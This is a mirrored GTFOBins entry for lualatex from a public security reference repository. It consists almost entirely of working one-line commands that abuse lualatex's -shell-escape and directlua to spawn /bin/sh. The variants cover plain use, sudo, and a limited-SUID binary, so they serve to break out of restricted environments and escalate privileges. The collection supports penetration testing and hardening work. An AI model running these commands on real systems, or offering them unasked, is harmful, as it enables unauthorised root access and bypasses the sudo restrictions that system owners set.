1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/lualatex.md

11 lines
497 B
Markdown
Raw Normal View History

---
description: This allows to execute [`lua`](/gtfobins/lua/) code.
2021-04-22 22:16:14 +02:00
functions:
shell:
- code: lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
2021-04-22 22:16:14 +02:00
sudo:
- code: sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
limited-suid:
- code: ./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
---